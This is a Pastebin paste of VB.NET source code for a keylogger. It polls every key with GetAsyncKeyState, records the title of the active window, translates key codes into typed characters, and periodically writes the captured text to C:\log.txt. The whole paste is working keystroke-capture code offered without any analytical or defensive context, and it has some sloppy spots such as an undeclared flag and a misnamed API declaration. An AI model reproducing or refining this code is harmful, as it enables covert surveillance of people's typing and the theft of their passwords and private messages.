Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Int32) As Int16
- Private Declare Function GetAnyncKeySync Lib "user32" (ByVal vKey As Int32) As Int16
- Private Declare Function GetKeyState Lib "user32" (ByVal nVirtKey As Int32) As Int16
- Const vbKeyNumLock = &H90
- Private Declare Function GetForegroundWindow Lib "user32.dll" () As IntPtr
- Private Declare Function GetWindowThreadProcessId Lib "user32.dll" (ByVal hwnd As IntPtr, ByRef lpdwProcessID As Integer) As Integer
- Dim currentwindow As String
- Dim justi As String
- Dim i As Integer
- Const Pressed = -32767
- For i = 2 To 255
- If GetAsyncKeyState(i) = Pressed Then
- Dim hWnd As IntPtr = GetForegroundWindow()
- If hWnd = IntPtr.Zero Then Exit Sub
- Dim pid As Integer = 0
- GetWindowThreadProcessId(hWnd, pid)
- If pid = 0 Then Exit Sub
- Dim proc As Process = Process.GetProcessById(pid)
- If proc Is Nothing Then Exit Sub
- Dim process1 As Process
- For Each process1 In Process.GetProcesses
- If (process1.MainWindowTitle.Trim.Length > 1) Then
- If process1.Id = proc.Id Then
- If currentwindow = process1.MainWindowTitle Then
- Else
- log.Text = log.Text & vbNewLine & "[Inside Window{" & process1.MainWindowTitle & "}]" & vbNewLine
- currentwindow = process1.MainWindowTitle
- End If
- Else
- End If
- End If
- Next
- Select Case i
- Case 8
- log.Text = log.Text & vbNewLine & "[BKSpace]"
- Case 9
- log.Text = log.Text & vbNewLine & "[TAB]"
- Case 13
- log.Text = log.Text & vbNewLine
- Case 20
- log.Text = log.Text & vbNewLine & "[CAPS]"
- Case 32
- log.Text = log.Text & " "
- Case 48
- If GetShift() = True Then log.Text = log.Text & ")" Else log.Text = log.Text & "0"
- Case 49
- If GetShift() = True Then log.Text = log.Text & "!" Else log.Text = log.Text & "1"
- Case 50
- If GetShift() = True Then log.Text = log.Text & "@" Else log.Text = log.Text & "2"
- Case 51
- If GetShift() = True Then log.Text = log.Text & "#" Else log.Text = log.Text & "3"
- Case 52
- If GetShift() = True Then log.Text = log.Text & "$" Else log.Text = log.Text & "4"
- Case 53
- If GetShift() = True Then log.Text = log.Text & "%" Else log.Text = log.Text & "5"
- Case 54
- If GetShift() = True Then log.Text = log.Text & "^" Else log.Text = log.Text & "6"
- Case 55
- If GetShift() = True Then log.Text = log.Text & "&" Else log.Text = log.Text & "7"
- Case 56
- If GetShift() = True Then log.Text = log.Text & "*" Else log.Text = log.Text & "8"
- Case 57
- If GetShift() = True Then log.Text = log.Text & "(" Else log.Text = log.Text & "9"
- Case 65, 66, 67, 68, 69, 70, 71, 72, 73, 74, 75, 76, 77, 78, 79, 80, 81, 82, 83, 84, 85, 86, 87, 88, 89, 90
- If GetCapsLock() = True Then
- If GetShift() = True Then log.Text = log.Text & LCase(Chr(i)) Else log.Text = log.Text & UCase(Chr(i))
- Else
- If GetShift() = True Then log.Text = log.Text & UCase(Chr(i)) Else log.Text = log.Text & LCase(Chr(i))
- End If
- Case 96
- log.Text = log.Text & "0"
- Case 97
- log.Text = log.Text & "1"
- Case 98
- log.Text = log.Text & "2"
- Case 99
- log.Text = log.Text & "3"
- Case 100
- log.Text = log.Text & "4"
- Case 101
- log.Text = log.Text & "5"
- Case 102
- log.Text = log.Text & "6"
- Case 103
- log.Text = log.Text & "7"
- Case 104
- log.Text = log.Text & "8"
- Case 105
- log.Text = log.Text & "9"
- Case 106
- log.Text = log.Text & "*"
- Case 107
- log.Text = log.Text & "+"
- Case 109
- log.Text = log.Text & "-"
- Case 110
- log.Text = log.Text & "."
- Case 111
- log.Text = log.Text & "/"
- Case 144
- log.Text = log.Text & vbNewLine & "[NUMLOCK]"
- Case 192
- If GetShift() = True Then log.Text = log.Text & "~" Else log.Text = log.Text & "`"
- Case 189
- If GetShift() = True Then log.Text = log.Text & "_" Else log.Text = log.Text & "-"
- Case 187
- If GetShift() = True Then log.Text = log.Text & "+" Else log.Text = log.Text & "="
- Case 219
- If GetShift() = True Then log.Text = log.Text & "{" Else log.Text = log.Text & "["
- Case 221
- If GetShift() = True Then log.Text = log.Text & "}" Else log.Text = log.Text & "]"
- Case 220
- If GetShift() = True Then log.Text = log.Text & "|" Else log.Text = log.Text & "\"
- Case 186
- If GetShift() = True Then log.Text = log.Text & ":" Else log.Text = log.Text & ";"
- Case 222
- If GetShift() = True Then log.Text = log.Text & """" Else log.Text = log.Text & "'"
- Case 188
- If GetShift() = True Then log.Text = log.Text & "<" Else log.Text = log.Text & ","
- Case 190
- If GetShift() = True Then log.Text = log.Text & ">" Else log.Text = log.Text & "."
- Case 191
- If GetShift() = True Then log.Text = log.Text & "?" Else log.Text = log.Text & "/"
- End Select
- End If
- justi = CStr(i)
- Next i
- Private Function GetCapsLock() As Boolean
- GetCapsLock = CBool(GetKeyState(20))
- End Function
- Private Function GetShift() As Boolean
- GetShift = CBool(GetAsyncKeyState(16))
- End Function
- Public Function NumLockOn() As Boolean
- Dim iKeyState As Integer
- iKeyState = GetKeyState(vbKeyNumLock)
- NumLockOn = (iKeyState = 1 Or iKeyState = -127)
- End Function
- Private Sub save_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles save.Tick
- If flag = True Then
- Exit Sub
- Else
- Dim writer As New System.IO.StreamWriter("C:\log.txt")
- Try
- System.IO.File.Delete("C:\log.txt")
- Catch ex As Exception
- End Try
- writer.Write(log.Text)
- writer.Close()
- End If
- End Sub
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement